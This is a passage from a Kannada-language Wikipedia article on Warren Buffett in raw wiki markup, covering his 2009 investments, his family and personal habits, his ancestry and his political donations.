|archive-url=https://web.archive.org/web/20091015073021/http://www.financialexpress.com/news/berkshire-sells-johnson-%26-johnson-procter-%26-gamble/425035 |url-status=dead }}</ref> ಅವೇಳೆಯಲ್ಲಿ ಹೂಡಿಕೆ ಮಾಡದಿರುವ ಸಲಹೆಗಳ ಜೊತೆಗೆ, 1998ರಲ್ಲಿ $86ರಷ್ಟು ಶೃಂಗಮೌಲ್ಯವನ್ನು ಪಡೆದಿದ್ದ ಕೋಕಾ-ಕೋಲಾ ಕಂಪೆನಿಯ (NYSE:KO) ಷೇರುಗಳೂ ಸೇರಿದಂತೆ ಬರ್ಕ್‌ಷೈರ್‌ನ ಕೆಲ ಪ್ರಮುಖ ಹೂಡಿಕೆಗಳನ್ನು ತಾವೇ ಇಟ್ಟುಕೊಂಡಿದ್ದ ಚತುರತೆಯ ಬಗ್ಗೆ ಪ್ರಶ್ನೆಗಳೂ ಎದ್ದಿದ್ದವು. ಬಫೆಟ್‌‌‌ ಷೇರುಗಳನ್ನು ಯಾವಾಗ ಮಾರಬೇಕೆಂದು ನಿರ್ಧರಿಸುವುದಲ್ಲಿರುವ ಸಮಸ್ಯೆಗಳನ್ನು ಕಂಪೆನಿಯ 2004ರ ವಾರ್ಷಿಕ ವರದಿಯಲ್ಲಿ ಚರ್ಚಿಸಿದ್ದರು : "ಅದನ್ನು ಯಾವಾಗಲೂ ಶುಭ್ರವಾಗಿರುವ ಹಿಮ್ಮುಖ ನೋಟ ನೀಡುವ ಕನ್ನಡಿಯಲ್ಲಿ ನೋಡಿದಾಗ ಮಾಡಲು ಸುಲಭವೆಂಬಂತೆ ಕಾಣಿಸಬಹುದು. ಆದಾಗ್ಯೂ ದುರದೃಷ್ಟಕರವಾಗಿ, ಯಾವಾಗಲೂ ಕವಿದುಕೊಂಡಿರುವ ಗಾಳಿರೋಧಕ ಗಾಜಿನ ಮೂಲಕವಾಗಿ ಹೂಡಿಕೆದಾರರು ನೋಡಬೇಕಾಗಿರುತ್ತದೆ."<ref>ಷ್ರೋಡರ್‌, ಅಲೈಸ್‌ ''ದ ಸ್ನೋಬಾಲ್‌: ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಅಂಡ್‌ ದ ಬಿಸಿನೆಸ್‌ ಆಫ್‌ ಲೈಫ್‌'' ISBN 0-553-80509-6 ಬಂಟಮ್‌ Sept 2008</ref> ಮಾರ್ಚ್‌ 2009ರಲ್ಲಿ, ಕೇಬಲ್‌ ವಾಹಿನಿಯೊಂದರ ಸಂದರ್ಶನದಲ್ಲಿ ಆರ್ಥಿಕತೆಯು "‌‌ ಪ್ರಪಾತಕ್ಕೆ ಬಿದ್ದಿದೆ. ಆರ್ಥಿಕತೆಯ ಗತಿಯು ಮಂದವಾಗಿರುವುದಲ್ಲದೇ, ಜನರು ತಮ್ಮ ಹವ್ಯಾಸಗಳನ್ನು ನಾನು ಇದುವರೆಗೆ ಎಂದೂ ಕಾಣದ ರೀತಿಯಲ್ಲಿ ಬದಲಾಯಿಸಿಕೊಂಡಿದ್ದಾರೆ." ಎಂದು ಬಫೆಟ್‌‌‌ ಹೇಳಿಕೆ ನೀಡಿದ್ದರು. ಇದರೊಂದಿಗೆ, ಅನೇಕ ವರ್ಷಗಳ ಕಾಲ ಮುಂದುವರೆದ ಯಾತನಾದಾಯಕ ಉಬ್ಬರಮಂದ ಸ್ಥಿತಿಗೆ ಕಾರಣವಾಗಿದ್ದ 1970ರ ಸಾಲಿನ ಹಣದುಬ್ಬರದ ಮಟ್ಟವನ್ನು ನಾವೆಲ್ಲಿ ತಲುಪಬೇಕಾಗುತ್ತದೋ ಎಂಬ ಆತಂಕವನ್ನು ಬಫೆಟ್‌‌‌ ವ್ಯಕ್ತಪಡಿಸಿದ್ದಾರೆ.<ref>ಜೋಶ್‌ ಫಂಕ್‌, [https://web.archive.org/web/20090316073425/http://news.yahoo.com/s/ap/20090309/ap_on_bi_ge/buffett_economy "ಬಫೆಟ್‌‌‌ ಸೇಸ್‌ ನೇಷನ್‌ ವಿಲ್‌ ಫೇಸ್‌ ಹೈಯರ್‌ ಅನ್‌ಎಂಪ್ಲಾಯ್‌ಮೆಂಟ್‌"], [[MSNBC]]ಯಲ್ಲಿ [[AP]], ಮಾರ್ಚ್‌ 9, 2009, Yahoo ನ್ಯೂಸ್‌ ಜಾಲತಾಣದಿಂದ (ಪಡೆದದ್ದು ಮಾರ್ಚ್‌ 9, 2009).</ref><ref>[http://www.msnbc.msn.com/id/29593426/ "ಬಫೆಟ್‌‌: ದ ಇಕಾನಮಿ ಹ್ಯಾಸ್‌‌ ‘ಫಾಲನ್ ಆಫ್‌ ಎ ಕ್ಲಿಫ್‌’"] {{Webarchive|url=https://web.archive.org/web/20100924101047/http://www.msnbc.msn.com/id/29593426/ |date=2010-09-24 }}, MSN.com, ಮಾರ್ಚ್‌ 9, 2009 (ಪಡೆದದ್ದು ಏಪ್ರಿಲ್‌ 3, 2009).</ref> 2009ರಲ್ಲಿ, ಬಫೆಟ್‌‌‌ ತಮ್ಮ ಕೊನೊಕೊಫಿಲಿಪ್ಸ್‌ನಲ್ಲಿನ ನಷ್ಟದಾಯಕವಾದ ಹೂಡಿಕೆಯನ್ನು, ತಮ್ಮ ಬರ್ಕ್‌ಷೈರ್‌ ಹೂಡಿಕೆದಾರರಿಗೆ "ನಾನು ಕೊನೊಕೊಫಿಲಿಪ್ಸ್‌ನ ಅಗಾಧ ಪ್ರಮಾಣದ ಷೇರುಗಳನ್ನು ತೈಲ ಹಾಗೂ ಅನಿಲ ಬೆಲೆಗಳು ತಮ್ಮ ಉತ್ತುಂಗ ಸ್ಥಿತಿ ತಲುಪಿದ್ದಾಗ ಕೊಂಡಿದ್ದೆ. ನಾನು ಕಳೆದ ಅರ್ಧ ವರ್ಷದಲ್ಲಿನ ಇಂಧನ ಬೆಲೆಗಳಲ್ಲಿನ ಈ ರೀತಿಯ ನಾಟಕೀಯ ಕುಸಿತವನ್ನು ಯಾವುದೇ ರೀತಿಯಲ್ಲಿಯೂ ನಿರೀಕ್ಷಿಸಿರಲಿಲ್ಲ. ನಾನು ಈಗಲೂ ಪ್ರಸಕ್ತ ಬೆಲೆಯಾದ $40-$50ಗಿಂತ ಬಹಳ ಹೆಚ್ಚಿನ ಬೆಲೆಯಲ್ಲಿ ಭವಿಷ್ಯದಲ್ಲಿ ತೈಲವು ಮಾರಾಟವಾಗುವ ಸಾಧ್ಯತೆಗಳಿವೆಯೆಂದು ನಂಬಿದ್ದೇನೆ. ಆದರೆ ಇದುವರೆಗಿನ ನನ್ನ ನಿರ್ಣಯದಲ್ಲಿ ತೀವ್ರ ತಪ್ಪಾಗಿದೆ. ಬೆಲೆಗಳು ಒಂದೊಮ್ಮೆ ಹೆಚ್ಚಾದರೂ ಕೂಡಾ, ನಾನು ಕೊಂಡುಕೊಂಡ ಅಪರಿಪಕ್ವ ಸಮಯದಿಂದಾಗಿ ಬರ್ಕ್‌ಷೈರ್‌ ಸಂಸ್ಥೆಗೆ ಅನೇಕ ಶತಕೋಟಿ ಡಾಲರ್‌ಗಳ ನಷ್ಟವಾಗಿದೆ." ಎಂದು ಹೇಳಿ ಪರಭಾರೆ ಮಾಡಿದರು.<ref name="BuffettCOPBlunder">[http://www.gurufocus.com/news.php?id=50143 ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌’ಸ್‌ ಮಲ್ಟಿ-ಬಿಲಿಯನ್‌ ಮಿಸ್ಟೇಕ್‌ ವಿತ್‌ ಕೊನೊಕೊಫಿಲಿಪ್ಸ್‌ (COP)]</ref> 2009ರ ಸಾಲಿನ - ಪ್ರಸ್ತಾಪಿತ ಬರ್ಲಿಂಗ್‌ಟನ್‌ ನಾರ್ಥರ್ನ್‌ ಸಾಂಟಾ ಫೆ ರೈಲ್ವೆ ([[BNSF]])ಯ ಜೊತೆಗಿನ ವಿಲೀನವು, BNSFನ 1Q2010ರ ಮೊದಲ ತ್ರೈಮಾಸಿಕ ಅವಧಿಯ ಷೇರುದಾರರ ಒಪ್ಪಿಗೆಯ ನಂತರ ಪೂರ್ಣಗೊಳ್ಳಲಿದೆ. ಈ ವ್ಯವಹಾರವನ್ನು ಸರಿಸುಮಾರು 34 ಶತಕೋಟಿ US ಡಾಲರಗಳಷ್ಟು ಮೌಲ್ಯದ್ದು ಎನ್ನಲಾಗಿದೆಯಲ್ಲದೇ ಹಿಂದಿನ 22%ರಷ್ಟಿದ್ದ ಹೂಡಿಕೆಯಲ್ಲಿ ಏರಿಕೆಯನ್ನು ಮಾಡಲಿದೆ. 2009ರ ವೆರಿಸ್ಕ್‌ ಷೇರುಗಳ ಸ್ವಾಧೀನ ಪಡೆಯುವಿಕೆಯಿಂದಾಗಿ - ವೆರಿಸ್ಕ್‌ (ISO [ಇನ್‌ಷ್ಯೂರೆನ್ಸ್‌ ಸರ್ವಿಸಸ್‌ ಆಫೀಸ್‌]) ಸಾರ್ವಜನಿಕರಿಗೆ ಮುಕ್ತಗೊಳ್ಳುವ ಮೊದಲೇ, ಬಫೆಟ್‌‌‌ ಅದರಲ್ಲಿ ಸುಮಾರು 5%ರಷ್ಟು ಷೇರುಗಳನ್ನು ಕೊಂಡಿದ್ದರು. ಮೇ 2009ರಲ್ಲಿ ವೆರಿಸ್ಕ್‌ ಸಾರ್ವಜನಿಕರಿಗೆ ಮುಕ್ತಗೊಂಡ ಸಮಯದಲ್ಲಿ, ವೆರಿಸ್ಕ್‌ನ ಇನ್ನೂ 6% ಷೇರುಗಳನ್ನು ಬಫೆಟ್‌‌‌ ಕೊಂಡರು. == ವೈಯಕ್ತಿಕ ಜೀವನ == ಬಫೆಟ್‌‌‌ [[ಸೂಸನ್‌ ಥಾಂಪ್ಸನ್‌]]ರನ್ನು 1952ರಲ್ಲಿ ಮದುವೆಯಾದರು. ಅವರಿಗೆ, [[ಸೂಸಿ]], [[ಹಾವರ್ಡ್‌]], ಮತ್ತು [[ಪೀಟರ್‌]] ಎಂಬ ಮೂರು ಮಕ್ಕಳಿದ್ದಾರೆ. ದಂಪತಿಗಳು ಜುಲೈ 2004ರಲ್ಲಿ ಆಕೆ ಮರಣಿಸುವವರೆಗೂ ವಿವಾಹಿತರಾಗಿಯೇ ಇದ್ದರೂ 1977ರಲ್ಲಿಯೇ ಪ್ರತ್ಯೇಕವಾಗಿ ವಾಸಿಸಲು ಆರಂಭಿಸಿದ್ದರು. ಅವರ ಮಗಳು, ಸೂಸಿ, ಒಮಾಹಾದಲ್ಲಿ ವಾಸಿಸುತ್ತಾ ''ಸೂಸನ್‌ A. ಬಫೆಟ್‌‌‌ ಪ್ರತಿಷ್ಠಾನ'' ದ ಮೂಲಕ ಪರೋಪಕಾರಿ ಕಾರ್ಯಗಳನ್ನು ನಡೆಸುತ್ತಿದ್ದಾರಲ್ಲದೇ [[ಗರ್ಲ್ಸ್‌, Inc]]ನ ಮಂಡಳಿಯ ರಾಷ್ಟ್ರಮಟ್ಟದ ಸದಸ್ಯರೂ ಆಗಿದ್ದಾರೆ. 2006ರಲ್ಲಿ, ತಮ್ಮ ಎಪ್ಪತ್ತಾರನೇ ಹುಟ್ಟಿದಹಬ್ಬ/ದಿನದಂದು, ವಾರೆನ್‌ ಅದುವರೆಗೆ ಅವಿವಾಹಿತರಾಗಿದ್ದ ಆಗ ಅರವತ್ತು ವರ್ಷದವರಾಗಿದ್ದ ದೀರ್ಘಕಾಲೀನ-ಜೊತೆಗಾತಿ ಆಸ್ಟ್ರಿಡ್‌ ಮೆಂಕ್ಸ್‌ರನ್ನು ವಿವಾಹವಾದರು. ಆಕೆಯು 1977ರಲ್ಲಿ ಆತನ ಪತ್ನಿಯು ಪ್ರತ್ಯೇಕಗೊಂಡು ಸ್ಯಾನ್‌ ಫ್ರಾನ್ಸಿಸ್ಕೋಗೆ ತೆರಳಿದ್ದಾಗಿನಿಂದ ಆತನ ಜೊತೆಗೆ ವಾಸಿಸುತ್ತಿದ್ದಾರೆ.<ref>[http://www.cbsnews.com/stories/2006/08/31/business/main1954089.shtml CBS News] {{Webarchive|url=https://web.archive.org/web/20081027134342/http://www.cbsnews.com/stories/2006/08/31/business/main1954089.shtml |date=2008-10-27 }} ಲೇಖನ ''ವೆಡ್ಡಿಂಗ್‌ ಬೆಲ್ಸ್‌ ಫಾರ್‌ ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌'' ಪ್ರಕಟಣೆ ಆಗಸ್ಟ್‌ 31, 2006</ref> ತನ್ನ ಹಾಡುಗಾರಿಕೆಯ ವೃತ್ತಿಜೀವನಕ್ಕೆಂದು ಒಮಾಹಾದಿಂದ ತೆರಳುವ ಮುನ್ನ ಇವರಿಬ್ಬರನ್ನು ಸೂಸನ್‌ ಬಫೆಟ್‌‌‌ರೇ ಭೇಟಿ ಮಾಡಿಸಿದ್ದರು. ಮೂವರೂ ಅತ್ಯಂತ ನಿಕಟವರ್ತಿಗಳಾಗಿದ್ದುದಲ್ಲದೇ ಸ್ನೇಹಿತರಿಗೆ ಕಳುಹಿಸುತ್ತಿದ್ದ ರಜಾದಿನಗಳ ಕಾರ್ಡುಗಳಲ್ಲಿಯೂ "ವಾರೆನ್‌‌, ಸೂಸಿ ಮತ್ತು ಆಸ್ಟ್ರಿಡ್‌" ಎಂದು ಮೂವರ ಸಹಿಯೂ ಇರುತ್ತಿತ್ತು.<ref name="lowenstein">{{cite book | last=Lowenstein | first=Roger | title=Buffett: The Making of an American Capitalist | isbn= 0812979273 | publisher=Random House | year=}}</ref> ಆಕೆಯ ಸಾವಿನ ಕೆಲಕಾಲದ ಮುಂಚೆಯಷ್ಟೇ ನಡೆದಿದ್ದ [[ಚಾರ್ಲೀ ರೋಸ್‌ ಷೋ]] ಕಾರ್ಯಕ್ರಮದ ಸಂದರ್ಶನದಲ್ಲಿ ಈ ಬಾಂಧವ್ಯದ ಬಗ್ಗೆ ಸಂಕ್ಷಿಪ್ತವಾಗಿ ಪ್ರಸ್ತಾಪಿಸಿದ್ದ ಸೂಸನ್‌ ಬಫೆಟ್‌‌‌ರು ಬಫೆಟ್‌‌ ಖಾಸಗೀ ಜೀವನದ ಅಪರೂಪದ ಒಳನೋಟ ನೀಡಿದ್ದರು.<ref>{{cite web|accessdate=2008-05-20|url=http://www.bookwormomaha.com/store/pc-34-9-susan-buffett-in-her-own-words-conversations-with-charlie-rose.aspx|title=Susan Buffett in Her Own Words: Conversations with Charlie Rose|publisher=Bookworm Omaha|archive-date=2007-12-23|archive-url=https://web.archive.org/web/20071223012430/http://www.bookwormomaha.com/store/pc-34-9-susan-buffett-in-her-own-words-conversations-with-charlie-rose.aspx|url-status=dead}}</ref> ಅವರ 2006ರ ವಾರ್ಷಿಕ [[ವೇತನವು]] ಸುಮಾರು $100,000ರಷ್ಟಿದ್ದು, ಹೋಲಿಸಬಹುದಾದ ಕಂಪೆನಿಗಳ ಹಿರಿಯ [[ಕಾರ್ಯನಿರ್ವಾಹಕರ ಸಂಭಾವನೆ]]ಗೆ ಹೋಲಿಸಿದರೆ ಕಡಿಮೆಯದಾಗಿತ್ತು.<ref name="fool1">{{cite news |url=http://www.fool.com/investing/small-cap/2005/06/29/stupid-ceo-tricks.aspx |title=Stupid CEO Tricks |author= Smith, Rich |publisher=[[Motley Fool]] |date=2005-06-29 |accessdate=2008-05-20}}</ref> 2007 ಮತ್ತು 2008ರಲ್ಲಿ, ಅವರು ಮೂಲ ವೇತನವಾದ ಕೇವಲ $100,000 ಸೇರಿದಂತೆ ಒಟ್ಟಾರೆ $175,000ರಷ್ಟು ವೇತನವನ್ನು ಪಡೆದಿದ್ದರು.<ref>[http://www.equilar.com/CEO_Compensation/BERKSHIRE_HATHAWAY_INC_Warren_E._Buffett.php 2007 CEO ಕಾಂಪೆನ್ಸೇಷನ್‌ ಫಾರ್‌ ವಾರೆನ್‌ E. ಬಫೆಟ್‌‌‌] {{Webarchive|url=https://web.archive.org/web/20090224154608/http://www.equilar.com/CEO_Compensation/BERKSHIRE_HATHAWAY_INC_Warren_E._Buffett.php |date=2009-02-24 }}, [[ಈಕ್ವಿಲಾರ್‌]]</ref><ref>[http://www.equilar.com/CEO_Compensation/Berkshire_Hathaway_Warren_E._Buffett.php 2008 CEO ಕಾಂಪೆನ್ಸೇಷನ್‌ ಫಾರ್‌ ವಾರೆನ್‌ E. ಬಫೆಟ್‌‌] {{Webarchive|url=https://web.archive.org/web/20090414092753/http://www.equilar.com/CEO_Compensation/Berkshire_Hathaway_Warren_E._Buffett.php |date=2009-04-14 }}, [[ಈಕ್ವಿಲಾರ್‌]]</ref> (ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಲಗುನಾ ತೀರದಲ್ಲಿ $4 ದಶಲಕ್ಷ ಮೌಲ್ಯದ ಮನೆಯನ್ನು ಹೊಂದಿದ್ದರೂ) ಒಮಾಹಾನ ಸಮೀಪದ [[ಡುಂಡೀ]] ಕೇಂದ್ರಭಾಗದಲ್ಲಿನ 1958ರಲ್ಲಿ $31,500ಕ್ಕೆ ಕೊಂಡುಕೊಂಡಿದ್ದ ಅದೇ ಮನೆಯಲ್ಲಿಯೇ ಈಗಲೂ ವಾಸಿಸುತ್ತಿದ್ದು, ಅದರ ಈಗಿನ ಬೆಲೆ ಸುಮಾರು $700,000ರಷ್ಟಿದೆ.<ref>{{cite web|accessdate=2008-05-20|url=http://www.forbes.com/2005/03/10/cx_bill05_homeslide_2.html?thisSpeed=6000000000|title=Warren Buffett|publisher=[[Forbes]]}}</ref> 1989ರಲ್ಲಿ ಬರ್ಕ್‌ಷೈರ್‌ನ ಹಣದಿಂದ ಸುಮಾರು 10 ದಶಲಕ್ಷ ಡಾಲರ್‌ಗಳನ್ನು<ref>{{cite web |last=Canzano |first=John |url=http://www.omaha.com/index.php?u_page=3939&u_sid=10057503 |title=CWS |publisher=Omaha.com |date=2007-06-22 |accessdate=2009-02-23 |archive-date=2007-07-15 |archive-url=https://web.archive.org/web/20070715211720/http://www.omaha.com/index.php?u_page=3939&u_sid=10057503 |url-status=dead }}</ref> ವ್ಯಯಿಸಿ [[ಖಾಸಗಿ ಜೆಟ್‌ ವಿಮಾನ]]ವನ್ನು, ಕೊಂಡ ನಂತರ ಬಫೆಟ್‌ ಸಂಕೋಚದಿಂದ ಅದಕ್ಕೆ "''ದ ಇನ್‌ಡೆಫೆನ್ಸೆಬಲ್‌'' ಎಂದು ಹೆಸರನ್ನಿಟ್ಟರು." ಈ ನಡೆಯು ಅವರ ಹಿಂದಿನ ಇತರ CEOಗಳ ದುಂದುವೆಚ್ಚದ ಕೊಳ್ಳುವಿಕೆಗಳ ಮೇಲೆ ಮಾಡಿದ ಖಂಡನೆಗಳ ಹಾಗೂ ಆತನ ಹೆಚ್ಚು ಸಾರ್ವಜನಿಕ ಸಾರಿಗೆಗಳನ್ನು ಬಳಸುವ ಹವ್ಯಾಸದಿಂದ ಹೊರಬಂದ ಹಾಗಿತ್ತು.<ref>{{cite web|accessdate=2008-05-20|url=http://www.berkshirehathaway.com/letters/1989.html|title=Chairman's Letter 1989|publisher=[[Berkshire Hathaway]]}}</ref> ಅವರು ಈಗಲೂ [[ಬ್ರಿಡ್ಜ್‌]] ಎಂಬ ಕಾರ್ಡ್‌ ಆಟದ ಅತ್ಯಾಸಕ್ತ ಆಟಗಾರರಾಗಿದ್ದು, ಅದನ್ನು ಅವರು [[ಶರೋನ್‌ ಓಸ್‌ಬರ್ಗ್‌]]ರಿಂದ ಕಲಿತುಕೊಂಡಿದ್ದರಲ್ಲದೇ, [[ಬಿಲ್‌ ಗೇಟ್ಸ್‌]] ಹಾಗೂ ಆಕೆಯೊಂದಿಗೆ ಈ ಆಟವನ್ನು ಆಡುತ್ತಾರೆ.<ref>http://www.usatoday.com/news/education/2005-12-19-bridge-schools_x.htm</ref> ಅವರು ವಾರದಲ್ಲಿ ಹನ್ನೆರಡು ಗಂಟೆಗಳ ಕಾಲವನ್ನು ಈ ಆಟದಲ್ಲಿ ಕಳೆಯುತ್ತಾರೆ.<ref>{{cite web|accessdate=2008-05-20|url=http://www.cbsnews.com/stories/2008/02/16/sunday/main3840748.shtml|title=Bringing Back Bridge|publisher=[[CBS News]]|date=2008-02-17|author=Blackstone, John|archive-date=2008-05-26|archive-url=https://web.archive.org/web/20080526022755/http://www.cbsnews.com/stories/2008/02/16/sunday/main3840748.shtml|url-status=dead}}</ref> 2006ರಲ್ಲಿ, ಅವರು [[ಬಫೆಟ್‌‌‌ ಕಪ್‌]] ಎಂಬ ಬ್ರಿಡ್ಜ್‌ ಆಟದ ಪಂದ್ಯದ ಪ್ರಾಯೋಜಕರಾಗಿದ್ದರು. [[ಗಾಲ್ಫ್‌]]ನ [[ರೈಡರ್‌ ಕಪ್‌]]ನ ಮೇಲೆ ಆಧಾರಿತವಾಗಿದ್ದ, ಅದಕ್ಕೆ ಕೆಲವೇ ದಿನಗಳ ಮುನ್ನವೇ ಅದೇ ನಗರದಲ್ಲಿ ನಡೆಸಲಾದ ಈ ಪಂದ್ಯದಲ್ಲಿ ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌‌ನ ಹನ್ನೆರಡು ಬ್ರಿಡ್ಜ್‌ ಆಟಗಾರರ ತಂಡವು ಹನ್ನೆರಡು [[ಐರೋಪ್ಯ]] ಆಟಗಾರರನ್ನು ಈ ಪಂದ್ಯದಲ್ಲಿ ಎದುರಿಸಿದರು. ವಾರೆನ್‌ ಬಫೆಟ್‌ರ‌‌ವರು, ಕ್ರಿಸ್ಟೋಫರ್‌ ವೆಬ್ಬರ್‌‌ ಹಾಗೂ [[DiC ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್‌‌]] ಸಂಸ್ಥೆಯ ಮುಖ್ಯಸ್ಥ [[ಆಂಡಿ ಹೇವರ್ಡ್‌]]ರೊಂದಿಗೆ ಸಜೀವಚಿತ್ರಿಕೆ ಸರಣಿಯಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದ್ದಾರೆ, ಹಾಗೂ ನಂತರ [[A ಸ್ಕ್ವೇರ್‌ಡ್‌ ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್‌‌]] ಸಂಸ್ಥೆಯೊಂದಿಗೂ ಮಾಡಿದ್ದಾರೆ. ಬಫೆಟ್‌‌‌ ಮತ್ತು ಮಂಗರ್‌ ಕಾಣಿಸಿಕೊಂಡಿರುವ ಈ ಸರಣಿಯು ಮಕ್ಕಳಿಗೆ ಜೀವನದಲ್ಲಿ ಹಣಕಾಸಿನ ಉತ್ತಮ ಹವ್ಯಾಸಗಳನ್ನು ಇಟ್ಟುಕೊಳ್ಳುವ ಬಗ್ಗೆ ಹೇಳಿಕೊಡುತ್ತದೆ.<ref>{{cite book| url=http://www.businesswire.com/portal/site/home/permalink/?ndmViewId=news_view&newsId=20090724005103&newsLang=en| title=Warren Buffett, Martha Stewart, Gisele Bündchen, and Kosmos Featuring Carl Sagan Headline New Slate of Purpose-Driven Entertainment for Children| work=Business Wire| July 24, 2009 }}</ref><ref>{{cite web| url=http://www.cnbc.com/id/32123530| title=CNBC TRANSCRIPT: Warren Buffett's 'Secret Millionaire's Club' Live Interview on Squawk Box| work=CNBC}}</ref> ಬಫೆಟ್‌‌‌ರು ಪ್ರೆಸ್‌ಬೈಟೀರಿಯನ್‌ ಪಂಥದಲ್ಲಿ ಬೆಳೆದವರಾದರೂ, ನಂತರ ತಮ್ಮನ್ನು ಧಾರ್ಮಿಕ ನಂಬಿಕೆಗಳ ವಿಚಾರ ಪ್ರಸ್ತಾಪವಾದಾಗ ತಮ್ಮನ್ನು [[ನಾಸ್ತಿಕ]]ರೆಂದು <ref>[https://www.wired.com/wired/archive/14.11/faces3.html ''ತಾರಿನ'' ] ಲೇಖನ ''ಫೇಸಸ್‌ ಆಫ್‌ ದ ನ್ಯೂ ಆಥೆಯಿಸಂ: ದ ಸ್ಕ್ರೈಬ್‌'' ಪ್ರಕಟಣೆ ನವೆಂಬರ್‌ 2006, ಪಡೆದದ್ದು ನವೆಂಬರ್‌ 10, 2009</ref> ಹೇಳಿಕೊಳ್ಳುತ್ತಾರೆ. ಡಿಸೆಂಬರ್‌ 2006ರಲ್ಲಿ ವರದಿಯಾದ ಪ್ರಕಾರ ಬಫೆಟ್‌‌‌ರು ಸಂಚಾರಿ ದೂರವಾಣಿಯನ್ನು ಹಾಗೆಯೇ ತಮ್ಮ ಮೇಜಿನ ಮೇಲೆ ಗಣಕವನ್ನು ಕೂಡಾ ಹೊಂದಿಲ್ಲ ಹಾಗೂ ತಮ್ಮ [[ಕ್ಯಾಡಿಲಾಕ್‌ DTS]] ವಾಹನವನ್ನು <ref>{{cite web|accessdate=2008-05-20|url=http://www.rediff.com/money/2006/dec/26buffet.htm|title=How Warren Buffett made his billions|publisher=[[Rediff.com]]|date=2006-12-26}}</ref> ತಾವೇ ಚಲಾಯಿಸುತ್ತಾರೆ.<ref>{{cite web|accessdate=2008-05-20|url=http://money.cnn.com/magazines/fortune/fortune_archive/2006/05/29/8378053/index.htm|title=Buffett backs GM—and buys a Caddy|publisher=CNN|date=2006-06-04|author=Taylor III, Alex}}</ref> ಬಫೆಟ್‌‌‌ರು [[ಟ್ರಾಂಡ್ಸ್‌]] ಎಂಬ ಚೀನೀ ಸಂಸ್ಥೆಯ ದರ್ಜಿಯಿಂದ-ತಯಾರಿಸಲ್ಪಟ್ಟ ಸೂಟ್‌ಗಳನ್ನು ಧರಿಸುತ್ತಾರೆ; ಮುಂಚೆ ಅವರು [[ಎರ್‌ಮೆನೆಗಿಲ್ಡೋ ಜೆಗ್ನಾ]] ಸಂಸ್ಥೆಯ ಉಡುಪುಗಳನ್ನು ಧರಿಸುತ್ತಿದ್ದರು.<ref>http://money.cnn.com/2009/09/23/news/companies/warren_buffett_dayang_suits.fortune/index.htm?postversion=2009092513</ref> === ವಂಶ/ಮನೆತನ === ಬಫೆಟ್‌‌ರ DNA ವರದಿಯ ಪ್ರಕಾರ ಅವರ ತಂದೆಯ ಕಡೆಯ ಪೂರ್ವಜರು ಉತ್ತರ [[ಸ್ಕಾಂಡಿನೇವಿಯಾ]] ಮೂಲದವರಾಗಿದ್ದರೆ, ತಾಯಿಯ ಕಡೆಯ ಪೂರ್ವಜರು [[ಐಬೀರಿಯಾ]] ಅಥವಾ [[ಎಸ್ಟೋನಿಯಾ]] ಮೂಲದವರಾಗಿದ್ದಾರೆ.<ref>{{cite web|accessdate=2008-05-20|url=http://money.cnn.com/magazines/fortune/fortune_archive/2007/06/11/100060549/index.htm|title=The Buffett mystery |publisher=CNN|date=2007-05-28|author=Boyle, Matthew}}</ref> ತನ್ನ ತಾಯಿಯ ಕಡೆಯಿಂದ ಅವರು ಹಾಡುಗಾರ [[ಹ್ಯಾರಿ ಚಾಪಿನ್‌]]<ref>{{cite web|accessdate=2009-11-04|url=http://wc.rootsweb.ancestry.com/cgi-bin/igm.cgi?op=PED&db=geolarson2&id=I092445 |title=Warren Buffett ancestry|publisher=ancestry.com|date=2009-11-04|author=Larson, George}}</ref> ರ ದೂರದ ಸಂಬಂಧಿಯಾಗಿದ್ದು, ಇದಕ್ಕೆ ವಿರುದ್ಧವಾಗಿ ವ್ಯಾಪಕ ಸಲಹೆಗಳಿದ್ದಾಗ್ಯೂ, ಹಾಗೂ ಎರಡೂ ಕುಟುಂಬಗಳ ನಡುವೆ ಏರ್ಪಟ್ಟ ವಾಡಿಕೆಯ ಸ್ನೇಹದ ಹೊರತಾಗಿ, ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ ಜನಪ್ರಿಯ ಹಾಡುಗಾರ [[ಜಿಮ್ಮಿ ಬಫೆಟ್‌‌]]ರೊಂದಿಗೆ ಯಾವುದೇ ಸ್ಪಷ್ಟ ಸಂಬಂಧ ಹೊಂದಿಲ್ಲ. === ರಾಜಕೀಯ === ಅನೇಕ ವರ್ಷಗಳಿಂದ ನೀಡುತ್ತಿರುವ ಇತರೆ ರಾಜಕೀಯ ಕೊಡುಗೆಗಳ ಹೊರತಾಗಿ, ಬಫೆಟ್‌‌‌ ಅಧಿಕೃತವಾಗಿ [[ಬರಾಕ್‌ ಒಬಾಮ]]ರ [[ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣಾ ಪ್ರಚಾರಕ್ಕೆ]] ಬೆಂಬಲ ಸೂಚಿಸಿ ಪ್ರಚಾರಕ್ಕೆ ಕಾಣಿಕೆಗಳನ್ನು ಕೊಟ್ಟಿದ್ದಾರೆ. ಇವರೊಂದಿಗೆ ಸಂಬಂಧ ಹೊಂದಿರುವ ಓರ್ವ ಬಹಳ ದೂರದ ಪೂರ್ವಜರ ಮೂಲಕ ಏಳನೆಯ ಸೋದರಸಂಬಂಧಿಯೊಬ್ಬರು ಮೂರು ಬಾರಿ ಅಧಿಕಾರದಿಂದ ಕೆಳಗಿಳಿದಿದ್ದಾರೆ. ಜುಲೈ 2, 2008ರಂದು, ಒಬಾಮರ ಪ್ರಚಾರವೆಚ್ಚ ನಿಧಿ ಪಡೆಯಲು ಒಬಾಮರ ರಾಷ್ಟ್ರೀಯ ಹಣಕಾಸು ಪೀಠದ ಅಧ್ಯಕ್ಷೆ, [[ಪೆನ್ನಿ ಪ್ರಿಟ್ಜ್‌ಕರ್‌]] ಹಾಗೂ ಆಕೆಯ ಪತಿ, ಜೊತೆಗೆ ಒಬಾಮರ ಸಲಹಾಕಾರ [[ವಾಲೆರೀ ಜಾರೆಟ್ಟ್‌]] ಷಿಕಾಗೋದಲ್ಲಿ ಆಯೋಜಿಸಿದ್ದ ಪ್ರತಿ ತಟ್ಟೆ ಊಟಕ್ಕೆ $28,500 ಬೆಲೆಯ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ 